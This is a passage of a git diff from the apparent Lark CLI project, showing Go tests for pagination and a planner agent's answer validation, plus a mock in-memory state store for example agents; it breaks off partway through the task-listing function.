}
|
||||
if !info1.HasMore || info1.NextToken == "" {
|
||||
t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
|
||||
}
|
||||
|
||||
p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info1.NextToken})
|
||||
if len(p2) != 2 {
|
||||
t.Fatalf("page 2 should have 2 tasks, got %d", len(p2))
|
||||
}
|
||||
if !info2.HasMore || info2.NextToken == "" {
|
||||
t.Fatalf("page 2 should report more pages with a cursor, got %+v", info2)
|
||||
}
|
||||
seen := map[string]bool{p1[0].TaskID: true, p1[1].TaskID: true}
|
||||
if seen[p2[0].TaskID] || seen[p2[1].TaskID] {
|
||||
t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
|
||||
}
|
||||
|
||||
p3, info3 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: info2.NextToken})
|
||||
if len(p3) != 1 {
|
||||
t.Fatalf("page 3 (final) should have the last 1 task, got %d", len(p3))
|
||||
}
|
||||
if info3.HasMore || info3.NextToken != "" {
|
||||
t.Fatalf("page 3 is the last page: HasMore=false, NextToken empty, got %+v", info3)
|
||||
}
|
||||
}
|
||||
|
||||
// TestListTasksPaginationExactBoundary pins the no-phantom-page contract when the
|
||||
// total is an exact multiple of the page size: 4 tasks at size 2 yield a full
|
||||
// first page (HasMore=true, NextToken="2") and a full SECOND page that is also
|
||||
// the last (HasMore=false, NextToken=""), never a spurious empty page 3.
|
||||
func TestListTasksPaginationExactBoundary(t *testing.T) {
|
||||
swapStore(t)
|
||||
ctx := context.Background()
|
||||
rt := fakeRuntime{agentID: "echo"}
|
||||
first, err := echoSend(ctx, rt, agents.SendInput{Text: "m0"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ctxID := first.ContextID
|
||||
for _, text := range []string{"m1", "m2", "m3"} {
|
||||
if _, err := echoSend(ctx, rt, agents.SendInput{Text: text, ContextID: ctxID}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
p1, info1 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2})
|
||||
if len(p1) != 2 {
|
||||
t.Fatalf("page 1 should have 2 tasks, got %d", len(p1))
|
||||
}
|
||||
if !info1.HasMore || info1.NextToken != "2" {
|
||||
t.Fatalf("page 1 should report more pages with NextToken \"2\", got %+v", info1)
|
||||
}
|
||||
|
||||
p2, info2 := store.listTasks("echo", ctxID, agents.PageParams{Size: 2, Token: "2"})
|
||||
if len(p2) != 2 {
|
||||
t.Fatalf("page 2 (final) should have the last 2 tasks, got %d", len(p2))
|
||||
}
|
||||
if info2.HasMore || info2.NextToken != "" {
|
||||
t.Fatalf("page 2 is the last page (no phantom empty page 3): HasMore=false, NextToken empty, got %+v", info2)
|
||||
}
|
||||
}
|
||||
|
||||
// TestListContextsPagination pins the same offset-cursor contract for the store's
|
||||
// listContexts: 3 contexts, page-size 2 → first page of 2 with more, then a final
|
||||
// page of 1 with no more.
|
||||
func TestListContextsPagination(t *testing.T) {
|
||||
swapStore(t)
|
||||
ctx := context.Background()
|
||||
rt := fakeRuntime{agentID: "echo"}
|
||||
for _, text := range []string{"c0", "c1", "c2"} {
|
||||
if _, err := echoSend(ctx, rt, agents.SendInput{Text: text}); err != nil { // no ContextID ⇒ new context each time
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
p1, info1 := store.listContexts("echo", agents.PageParams{Size: 2})
|
||||
if len(p1) != 2 {
|
||||
t.Fatalf("page 1 should have 2 contexts, got %d", len(p1))
|
||||
}
|
||||
if !info1.HasMore || info1.NextToken == "" {
|
||||
t.Fatalf("page 1 should report more pages with a cursor, got %+v", info1)
|
||||
}
|
||||
|
||||
p2, info2 := store.listContexts("echo", agents.PageParams{Size: 2, Token: info1.NextToken})
|
||||
if len(p2) != 1 {
|
||||
t.Fatalf("page 2 (final) should have the last 1 context, got %d", len(p2))
|
||||
}
|
||||
if info2.HasMore || info2.NextToken != "" {
|
||||
t.Fatalf("page 2 is the last page: HasMore=false, NextToken empty, got %+v", info2)
|
||||
}
|
||||
if p1[0].ContextID == p2[0].ContextID || p1[1].ContextID == p2[0].ContextID {
|
||||
t.Errorf("page 2 must not overlap page 1: p1=%v p2=%v", p1, p2)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPlannerCountAndAliasRules pins the remaining §4.2/§6.3 value rules the
|
||||
// main flow doesn't reach: count_violation on both branches (single-select
|
||||
// with two picks; text question with two bare values), the bare-value alias on
|
||||
// a text question (MUST be accepted as .text), and the .text supplement on a
|
||||
// single-select never counting toward cardinality.
|
||||
func TestPlannerCountAndAliasRules(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "planner"}
|
||||
ctx := context.Background()
|
||||
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ir := t1.InputRequired
|
||||
q1, q2, q3 := ir.Questions[0].QuestionID, ir.Questions[1].QuestionID, ir.Questions[2].QuestionID
|
||||
|
||||
// count_violation: two picks on the single-select, two bare texts on the
|
||||
// text question.
|
||||
_, err = plannerSend(ctx, rt, agents.SendInput{
|
||||
ContextID: t1.ContextID, TaskID: t1.TaskID,
|
||||
Answers: map[string][]string{
|
||||
q1: {"by_region", "by_category"},
|
||||
q2: {"a", "b"},
|
||||
q3: {"east"},
|
||||
},
|
||||
})
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
counts := 0
|
||||
for _, ip := range verr.Params {
|
||||
if ip.Reason == "count_violation" {
|
||||
counts++
|
||||
}
|
||||
}
|
||||
if counts != 2 {
|
||||
t.Fatalf("both count_violation branches should fire, got %+v", verr.Params)
|
||||
}
|
||||
|
||||
// Accept path: bare-value alias on the text question + .text supplement on
|
||||
// the single-select (never counted toward cardinality).
|
||||
done, err := plannerSend(ctx, rt, agents.SendInput{
|
||||
ContextID: t1.ContextID, TaskID: t1.TaskID,
|
||||
Answers: map[string][]string{
|
||||
q1: {"by_region"},
|
||||
q1 + ".text": {"海外先不算"},
|
||||
q2: {"2024 全年"}, // bare alias of .text
|
||||
q3: {"east"},
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("alias + supplement must be accepted: %v", err)
|
||||
}
|
||||
if done.State != agents.StateCompleted {
|
||||
t.Fatalf("got %s", done.State)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPlannerGroupSurvivesReload pins the §6.2 conformance promise: keys are
|
||||
// minted at creation and persist — a FRESH store instance (new process) replays
|
||||
// identical question ids, and answering with those ids still routes.
|
||||
func TestPlannerGroupSurvivesReload(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "planner"}
|
||||
ctx := context.Background()
|
||||
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ids := []string{t1.InputRequired.Questions[0].QuestionID, t1.InputRequired.Questions[1].QuestionID, t1.InputRequired.Questions[2].QuestionID}
|
||||
|
||||
store = newMemoryStore(store.path) // simulate a fresh CLI process
|
||||
got, err := getTask(ctx, rt, t1.TaskID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for i, q := range got.InputRequired.Questions {
|
||||
if q.QuestionID != ids[i] {
|
||||
t.Fatalf("question ids must be identical across processes (render-time minting is non-conforming): %v vs %v", q.QuestionID, ids[i])
|
||||
}
|
||||
}
|
||||
if _, err := plannerSend(ctx, rt, agents.SendInput{
|
||||
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: plannerAnswers(got.InputRequired),
|
||||
}); err != nil {
|
||||
t.Fatalf("answering with reloaded ids must route: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPlannerConcurrentAnswers pins §6.7 atomicity: two racing submissions get
|
||||
// exactly one winner; the loser sees failed_precondition with resolved_answers
|
||||
// equal to the winner's set.
|
||||
func TestPlannerConcurrentAnswers(t *testing.T) {
|
||||
swapStore(t)
|
||||
rt := fakeRuntime{agentID: "planner"}
|
||||
ctx := context.Background()
|
||||
t1, err := plannerSend(ctx, rt, agents.SendInput{Text: "出报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
answers := plannerAnswers(t1.InputRequired)
|
||||
errsCh := make(chan error, 2)
|
||||
for i := 0; i < 2; i++ {
|
||||
go func() {
|
||||
_, err := plannerSend(ctx, rt, agents.SendInput{
|
||||
ContextID: t1.ContextID, TaskID: t1.TaskID, Answers: answers,
|
||||
})
|
||||
errsCh <- err
|
||||
}()
|
||||
}
|
||||
e1, e2 := <-errsCh, <-errsCh
|
||||
if (e1 == nil) == (e2 == nil) {
|
||||
t.Fatalf("exactly one submission must win, got %v / %v", e1, e2)
|
||||
}
|
||||
loser := e1
|
||||
if loser == nil {
|
||||
loser = e2
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(loser, &verr) || verr.ResolvedAnswers == nil {
|
||||
t.Fatalf("loser must get failed_precondition with resolved_answers, got %v", loser)
|
||||
}
|
||||
}
|
||||
679
agents/example/state.go
Normal file
679
agents/example/state.go
Normal file
@@ -0,0 +1,679 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package example
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agents"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// ============================================================================
|
||||
// In-memory state machine (teaching focus: concurrency safety of package-level
|
||||
// state + the CLI process boundary)
|
||||
//
|
||||
// A real provider's context/task state lives on the server, so the adapter is
|
||||
// naturally stateless; example is a pure mock and must manage state itself. Two
|
||||
// disciplines the integrator needs to know:
|
||||
//
|
||||
// 1. Concurrency safety: package-level mutable state must be locked. A single
|
||||
// coarse-grained Mutex covers all reads and writes here — the mock does not
|
||||
// chase throughput; correctness comes first.
|
||||
// 2. CLI process boundary: every lark-cli command is a fresh process, so a pure
|
||||
// in-memory map does not survive a single command — after `send`, a
|
||||
// `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
|
||||
// the in-memory map (under os.TempDir, last-writer-wins) to make the offline
|
||||
// demo chain work across commands. A real provider neither needs nor should
|
||||
// have this layer — it is a mock-only demo device.
|
||||
//
|
||||
// Note that the snapshot is loaded lazily (only on the first real read/write of
|
||||
// state): provider registration is a pure declarative Register(Provider) call
|
||||
// (see agent/register.go) with no construction and no side effects, so nothing
|
||||
// touches store at registration time — the snapshot is read on the first hook
|
||||
// invocation, not at init.
|
||||
// ============================================================================
|
||||
|
||||
// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
|
||||
// + creation sequence number (list output sorts by creation order to guarantee
|
||||
// stable enumeration).
|
||||
type taskRecord struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Seq int `json:"seq"`
|
||||
Task agents.AgentTask `json:"task"`
|
||||
// Accepted is the acceptance record of the task's question group (§10.1 key
|
||||
// encoding), written atomically with the state transition: it is what a
|
||||
// late/second submission gets echoed back as resolved_answers — the
|
||||
// machine-readable "who won" signal.
|
||||
Accepted map[string][]string `json:"accepted,omitempty"`
|
||||
}
|
||||
|
||||
// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
|
||||
// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
|
||||
// demonstrate "context memory".
|
||||
type contextRecord struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
ContextID string `json:"context_id"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Title string `json:"title,omitempty"`
|
||||
Seq int `json:"seq"`
|
||||
TaskIDs []string `json:"task_ids"`
|
||||
}
|
||||
|
||||
// memoryStore is the package-level state machine itself: mu covers all fields;
|
||||
// path is the JSON snapshot location; loaded ensures the snapshot is read only
|
||||
// once, on first access.
|
||||
type memoryStore struct {
|
||||
mu sync.Mutex
|
||||
path string
|
||||
loaded bool
|
||||
|
||||
Contexts map[string]*contextRecord `json:"contexts"`
|
||||
Tasks map[string]*taskRecord `json:"tasks"`
|
||||
NextSeq int `json:"next_seq"`
|
||||
}
|
||||
|
||||
// store is the package-level singleton. Tests use swapStoreForTest to replace it
|
||||
// with an instance pointing at t.TempDir, avoiding cross-contamination between
|
||||
// tests and between tests and the local demo state.
|
||||
var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agents.json"))
|
||||
|
||||
func newMemoryStore(path string) *memoryStore {
|
||||
return &memoryStore{
|
||||
path: path,
|
||||
Contexts: map[string]*contextRecord{},
|
||||
Tasks: map[string]*taskRecord{},
|
||||
}
|
||||
}
|
||||
|
||||
// loadLocked lazily reads in the snapshot (the caller must already hold the
|
||||
// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
|
||||
// mock's demo data is not worth erroring over, so it just starts fresh.
|
||||
func (s *memoryStore) loadLocked() {
|
||||
if s.loaded {
|
||||
return
|
||||
}
|
||||
s.loaded = true
|
||||
data, err := vfs.ReadFile(s.path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var snap memoryStore
|
||||
if json.Unmarshal(data, &snap) != nil {
|
||||
return
|
||||
}
|
||||
if snap.Contexts != nil {
|
||||
s.Contexts = snap.Contexts
|
||||
}
|
||||
if snap.Tasks != nil {
|
||||
s.Tasks = snap.Tasks
|
||||
}
|
||||
s.NextSeq = snap.NextSeq
|
||||
}
|
||||
|
||||
// saveLocked writes the current state back to the snapshot (the caller must
|
||||
// already hold the lock). A write failure returns a typed internal error
|
||||
// (storage subtype) — the mock does not swallow errors either: silently losing
|
||||
// state would make the next command report "task not found", which is harder to
|
||||
// diagnose than a clear error.
|
||||
func (s *memoryStore) saveLocked() error {
|
||||
data, err := json.MarshalIndent(s, "", " ")
|
||||
if err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
|
||||
}
|
||||
if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
|
||||
// deliberately aligns with the command layer's meta.next interpolation
|
||||
// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
|
||||
// string "the AI copies and runs", and an id with shell metacharacters would
|
||||
// cause the whole hint to be suppressed.
|
||||
func newID(prefix string) string {
|
||||
var b [6]byte
|
||||
if _, err := rand.Read(b[:]); err != nil {
|
||||
// crypto/rand being unavailable is an environment-level failure; the mock
|
||||
// degrades to a timestamp that still satisfies the character set.
|
||||
return prefix + "_" + time.Now().UTC().Format("20060102150405")
|
||||
}
|
||||
return prefix + "_" + hex.EncodeToString(b[:])
|
||||
}
|
||||
|
||||
// newGroupSuffix mints the per-group question-id suffix (4 hex chars,
|
||||
// key-safe): random at GROUP-CREATION time — the randomness is what makes a
|
||||
// successor group's minted ids necessarily differ (§6.2 cross-group
|
||||
// uniqueness), which in turn is what makes a stale retry hit unknown_question
|
||||
// instead of silently answering the next group.
|
||||
func newGroupSuffix() string {
|
||||
var b [2]byte
|
||||
if _, err := rand.Read(b[:]); err != nil {
|
||||
return time.Now().UTC().Format("0405")
|
||||
}
|
||||
return hex.EncodeToString(b[:])
|
||||
}
|
||||
|
||||
// createContext creates a new context and returns its id (the first-turn send goes here).
|
||||
func (s *memoryStore) createContext(agentID, title string) (string, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
id := newID("ctx")
|
||||
s.NextSeq++
|
||||
s.Contexts[id] = &contextRecord{
|
||||
AgentID: agentID,
|
||||
ContextID: id,
|
||||
CreatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Title: title,
|
||||
Seq: s.NextSeq,
|
||||
}
|
||||
return id, s.saveLocked()
|
||||
}
|
||||
|
||||
// createTask appends a task under ctxID: validate context ownership → compute
|
||||
// the round (which task number in this conversation) → call build under the lock
|
||||
// to construct the task → insert and write the snapshot. build runs inside the
|
||||
// lock to guarantee "compute the round" and "store the task" are atomic, so two
|
||||
// concurrent sends never get the same round.
|
||||
// An unknown / cross-agents context id returns a typed validation error (teaching
|
||||
// point: every error a provider returns must be typed — a bare error would land
|
||||
// as internal/exit 5, whereas this is clearly "the caller passed a wrong
|
||||
// argument", semantically invalid_argument/exit 2, and the AI relies on this
|
||||
// classification to decide between "fix the argument and retry" and "report an
|
||||
// environment failure").
|
||||
func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agents.AgentTask) (agents.AgentTask, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agents context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
task := build(len(ctx.TaskIDs) + 1)
|
||||
// Stamp lifecycle timestamps at creation. Example tasks are born terminal, so
|
||||
// created_at == updated_at; a real provider bumps updated_at on every status
|
||||
// change (see setTaskState). RFC3339 UTC strings are fixed-width, so their
|
||||
// lexicographic order equals chronological order (relied on by the rollup).
|
||||
now := time.Now().UTC().Format(time.RFC3339)
|
||||
task.CreatedAt = now
|
||||
task.UpdatedAt = now
|
||||
s.NextSeq++
|
||||
s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
|
||||
ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
|
||||
return task, s.saveLocked()
|
||||
}
|
||||
|
||||
// getTask fetches a task snapshot by id (returns a copy by value, so the command
|
||||
// layer's in-place edits like normalizeTask do not write through to store). A
|
||||
// cross-agents task is treated as "not found", without leaking another agent's state.
|
||||
func (s *memoryStore) getTask(agentID, taskID string) (agents.AgentTask, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
rec, ok := s.Tasks[taskID]
|
||||
if !ok || rec.AgentID != agentID {
|
||||
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 task id '%s'(example:%s 名下不存在)", taskID, agentID).
|
||||
WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
|
||||
}
|
||||
task := rec.Task
|
||||
// AgentTask is returned by value, but InputRequired is a pointer — clone it
|
||||
// so the command layer's in-place normalization can never write through into
|
||||
// the store (one-process runs must behave like per-process runs).
|
||||
task.InputRequired = cloneGroup(rec.Task.InputRequired)
|
||||
return task, nil
|
||||
}
|
||||
|
||||
// cloneGroup deep-copies a question group (nil-safe).
|
||||
func cloneGroup(ir *agents.InputRequired) *agents.InputRequired {
|
||||
if ir == nil {
|
||||
return nil
|
||||
}
|
||||
out := *ir
|
||||
out.Questions = make([]agents.Question, len(ir.Questions))
|
||||
for i, q := range ir.Questions {
|
||||
out.Questions[i] = q
|
||||
out.Questions[i].Options = append([]agents.Option(nil), q.Options...)
|
||||
}
|
||||
return &out
|
||||
}
|
||||
|
||||
// setTaskState updates a task's state (used by reporter's cancel).
|
||||
func (s *memoryStore) setTaskState(taskID string, state agents.TaskState) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
rec, ok := s.Tasks[taskID]
|
||||
if !ok {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
|
||||
}
|
||||
rec.Task.State = state
|
||||
rec.Task.IsTerminal = state.IsTerminal()
|
||||
rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339) // status changed ⇒ record when
|
||||
return s.saveLocked()
|
||||
}
|
||||
|
||||
// answerGroup applies a group answer (§10.1 key encoding) to a task's pending
|
||||
// input_required question group. It is the mock's stand-in for a STRICT-posture
|
||||
// server (a form backend): every question required, bare values validated
|
||||
// against the stored options, single-select cardinality enforced, the skip
|
||||
// option exclusive — with every violation collected into ONE ValidationError
|
||||
// (params[] entries with the Reason enum + the question declaration as Spec) so
|
||||
// the caller fixes everything in a single resend. A tolerant LLM-backed
|
||||
// provider may instead consume partial/free answers — validation POLICY is the
|
||||
// provider's own; only the error FORMAT here is contractual.
|
||||
//
|
||||
// Acceptance is atomic under the store lock (validate → record Accepted →
|
||||
// leave input_required in one critical section, the reply message inside it) —
|
||||
// two racing submissions get exactly one winner; the loser (and any late
|
||||
// retry) gets failed_precondition carrying resolved_answers, the
|
||||
// machine-readable "already decided, here is what won" signal.
|
||||
func (s *memoryStore) answerGroup(agentID, ctxID, taskID string, answers map[string][]string, remark string) (agents.AgentTask, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
rec, ok := s.Tasks[taskID]
|
||||
if !ok || rec.AgentID != agentID {
|
||||
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 task id '%s'(example:%s 名下不存在)", taskID, agentID).
|
||||
WithHint("运行 lark-cli agents task list example:%s 查看现有任务", agentID)
|
||||
}
|
||||
// context_id+task_id is the group's unique address (§2.1) — the CLI forces
|
||||
// both flags for that binding, so honoring only half of it here would teach
|
||||
// integrators to silently ignore the other half.
|
||||
if ctxID != "" && ctxID != rec.Task.ContextID {
|
||||
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"context_id '%s' 与任务 '%s' 所属会话不符", ctxID, taskID).
|
||||
WithHint("用 lark-cli agents task get example:%s %s 确认该任务的 context_id", agentID, taskID)
|
||||
}
|
||||
ir := rec.Task.InputRequired
|
||||
if rec.Task.State != agents.StateInputRequired || ir == nil {
|
||||
e := errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"任务 '%s' 已不在等待输入", taskID).
|
||||
WithHint("用 lark-cli agents task get example:%s %s 查看当前状态与结果", agentID, taskID)
|
||||
if rec.Accepted != nil {
|
||||
// The group was already resolved (another endpoint, or a retry whose
|
||||
// first attempt landed): echo what won, machine-readable.
|
||||
e = e.WithResolvedAnswers(rec.Accepted)
|
||||
}
|
||||
return agents.AgentTask{}, e
|
||||
}
|
||||
|
||||
byID := make(map[string]agents.Question, len(ir.Questions))
|
||||
currentIDs := make([]string, 0, len(ir.Questions))
|
||||
for _, q := range ir.Questions {
|
||||
byID[q.QuestionID] = q
|
||||
currentIDs = append(currentIDs, q.QuestionID)
|
||||
}
|
||||
|
||||
// Deterministic violation order: sorted answer keys, then missing questions
|
||||
// in group order.
|
||||
keys := make([]string, 0, len(answers))
|
||||
for k := range answers {
|
||||
keys = append(keys, k)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
var viols []errs.InvalidParam
|
||||
answered := make(map[string]bool, len(answers))
|
||||
for _, key := range keys {
|
||||
values := answers[key]
|
||||
qid, isText := agents.SplitAnswerKey(key)
|
||||
q, known := byID[qid]
|
||||
if !known {
|
||||
// A stale retry (the group changed under the caller) lands exactly
|
||||
// here — Suggestions carries the CURRENT group's keys so the caller
|
||||
// can tell "typo" from "new group" without a discovery round-trip.
|
||||
viols = append(viols, errs.InvalidParam{Name: key, Reason: "unknown_question",
|
||||
Suggestions: currentIDs})
|
||||
continue
|
||||
}
|
||||
answered[qid] = true
|
||||
if isText {
|
||||
// Free text is always consumable here (the strict-but-LLM-ish demo
|
||||
// posture); a pure form backend MAY reject it with reason
|
||||
// invalid_option-style clarity instead — never silently drop it.
|
||||
if len(q.Options) == 0 {
|
||||
if _, both := answers[qid]; both {
|
||||
viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
|
||||
}
|
||||
}
|
||||
continue
|
||||
}
|
||||
if len(q.Options) == 0 {
|
||||
// Text question answered via the bare-value alias: legal, but only one
|
||||
// text per question.
|
||||
if len(values) > 1 {
|
||||
viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
|
||||
}
|
||||
continue
|
||||
}
|
||||
picked := 0
|
||||
for _, v := range values {
|
||||
if _, ok := optionLabel(q.Options, v); !ok {
|
||||
viols = append(viols, errs.InvalidParam{Name: key, Reason: "invalid_option", Spec: q})
|
||||
} else {
|
||||
picked++
|
||||
}
|
||||
}
|
||||
if !q.MultiSelect && len(values) > 1 {
|
||||
viols = append(viols, errs.InvalidParam{Name: key, Reason: "count_violation", Spec: q})
|
||||
}
|
||||
if picked > 1 && hasValue(values, "skip") {
|
||||
// planner's own policy: its skip option means "let the agent decide"
|
||||
// and is exclusive with real picks.
|
||||
viols = append(viols, errs.InvalidParam{Name: key, Reason: "conflict", Spec: q})
|
||||
}
|
||||
}
|
||||
// Strict posture: every question of the group is required.
|
||||
for _, q := range ir.Questions {
|
||||
if !answered[q.QuestionID] {
|
||||
viols = append(viols, errs.InvalidParam{Name: q.QuestionID, Reason: "missing", Spec: q})
|
||||
}
|
||||
}
|
||||
if len(viols) > 0 {
|
||||
return agents.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"%d 个答案有问题", len(viols)).
|
||||
WithParams(viols...).
|
||||
WithHint("按 params 里的题目声明修正后整组重发(含未报错的题)")
|
||||
}
|
||||
|
||||
// Atomic acceptance: record + reply + state transition in one critical
|
||||
// section, snapshot write last.
|
||||
rec.Accepted = answers
|
||||
rec.Task.State = agents.StateCompleted
|
||||
rec.Task.IsTerminal = true
|
||||
if remark != "" {
|
||||
// The §4.1 message-level remark (--text alongside --answer) is part of
|
||||
// the user's message — record it, never silently drop it (§6.4).
|
||||
rec.Task.Messages = append(rec.Task.Messages, agents.Message{
|
||||
Role: "user", Parts: []agents.Part{{Type: "text", Text: remark}},
|
||||
})
|
||||
}
|
||||
rec.Task.Messages = append(rec.Task.Messages, agents.Message{
|
||||
Role: "agent",
|
||||
Parts: []agents.Part{{Type: "text", Text: acceptanceReply(ir, answers)}},
|
||||
})
|
||||
rec.Task.UpdatedAt = time.Now().UTC().Format(time.RFC3339)
|
||||
return rec.Task, s.saveLocked()
|
||||
}
|
||||
|
||||
// acceptanceReply composes the post-acceptance agent message, resolving option
|
||||
// ids back to labels from the stored group — the §6.1 store-and-resolve
|
||||
// pattern: the wire carried keys, the business reads values.
|
||||
func acceptanceReply(ir *agents.InputRequired, answers map[string][]string) string {
|
||||
var parts []string
|
||||
for _, q := range ir.Questions {
|
||||
var vals []string
|
||||
for _, v := range answers[q.QuestionID] {
|
||||
if label, ok := optionLabel(q.Options, v); ok {
|
||||
vals = append(vals, label)
|
||||
} else {
|
||||
vals = append(vals, v)
|
||||
}
|
||||
}
|
||||
vals = append(vals, answers[q.QuestionID+agents.AnswerTextSuffix]...)
|
||||
if len(vals) > 0 {
|
||||
parts = append(parts, q.Question+"「"+strings.Join(vals, "、")+"」")
|
||||
}
|
||||
}
|
||||
return "已按答复出报表:" + strings.Join(parts, ";")
|
||||
}
|
||||
|
||||
// hasValue reports whether vals contains v.
|
||||
func hasValue(vals []string, v string) bool {
|
||||
for _, x := range vals {
|
||||
if x == v {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// optionLabel returns the label of optionID within opts (ok=false if not found).
|
||||
func optionLabel(opts []agents.Option, optionID string) (string, bool) {
|
||||
for _, o := range opts {
|
||||
if o.OptionID == optionID {
|
||||
return o.Label, true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// pageWindow computes the [lo,hi) slice bounds and the resulting PageInfo for an
|
||||
// offset-cursor paginated list of `total` items. The token is an opaque offset —
|
||||
// strconv.Itoa of the first item's index; an unparseable / negative token is
|
||||
// leniently treated as offset 0 (the store is a mock, so it does not reject a bad
|
||||
// cursor). Size<=0 returns all remaining items (the CLI always passes ≥1). The
|
||||
// NextToken is the offset just past this page (lo+len), set only when more items
|
||||
// remain.
|
||||
func pageWindow(total int, page agents.PageParams) (lo, hi int, info agents.PageInfo) {
|
||||
if page.Token != "" {
|
||||
if n, err := strconv.Atoi(page.Token); err == nil && n > 0 {
|
||||
lo = n
|
||||
}
|
||||
}
|
||||
if lo > total {
|
||||
lo = total
|
||||
}
|
||||
hi = total
|
||||
if page.Size > 0 && lo+page.Size < total {
|
||||
hi = lo + page.Size
|
||||
}
|
||||
if hi < total {
|
||||
info = agents.PageInfo{NextToken: strconv.Itoa(hi), HasMore: true}
|
||||
}
|
||||
return lo, hi, info
|
||||
}
|
||||
|
||||
// listTasks lists an agent's task summaries, optionally filtered by contextID
|
||||
// (empty string means no filter), MOST-RECENT-FIRST (Seq descending — Seq grows
|
||||
// with creation, so descending is newest first; example tasks are terminal at
|
||||
// creation so Seq desc equals UpdatedAt desc), then paginated by page. IsTerminal
|
||||
// is carried along here for convenience, but the command layer re-derives it from
|
||||
// State via normalizeTask* (single source), so the integrator need not worry
|
||||
// about this field.
|
||||
func (s *memoryStore) listTasks(agentID, contextID string, page agents.PageParams) ([]agents.TaskSummary, agents.PageInfo) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
recs := make([]*taskRecord, 0, len(s.Tasks))
|
||||
for _, rec := range s.Tasks {
